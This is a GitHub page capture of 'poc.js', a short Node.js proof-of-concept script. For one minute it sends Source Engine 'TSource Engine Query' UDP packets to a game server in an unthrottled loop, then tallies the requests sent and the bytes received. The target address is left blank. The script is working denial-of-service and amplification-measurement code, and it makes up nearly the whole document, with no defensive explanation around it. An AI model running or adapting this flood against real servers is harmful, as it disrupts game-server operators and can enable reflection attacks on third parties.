-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpoc.js
46 lines (32 loc) · 997 Bytes
/
poc.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const udp = require('dgram');
// Create udp socket
const client = udp.createSocket('udp4');
const ip = '';
const port = 0;
let sent = 0;
let received = 0;
let bytes = 0;
// TSource Engine Query
const hex = Buffer.from('ffffffff54536f7572636520456e67696e6520517565727900', 'hex')
// emits on new datagram msg
client.on('message', (msg) => {
bytes = bytes + parseInt(msg.length);
received++;
});
const statusPrint = () =>{
console.log('%s requests to gameserver. ', sent);
console.log('%s responses from gameserver with %s bytes. ', received, bytes);
}
// Run test for 1 minute
const runFor1muinuteInterval = setInterval(() =>{
// Socket function to send Buffer object
client.send(hex, port, ip, (error) =>{
// Check if packet is sent?
if(!error){
// Increment sent status
sent++;
}
});
})
// Clear interval after 1 minute
setTimeout(()=>{clearInterval(runFor1muinuteInterval); statusPrint(); }, 60000);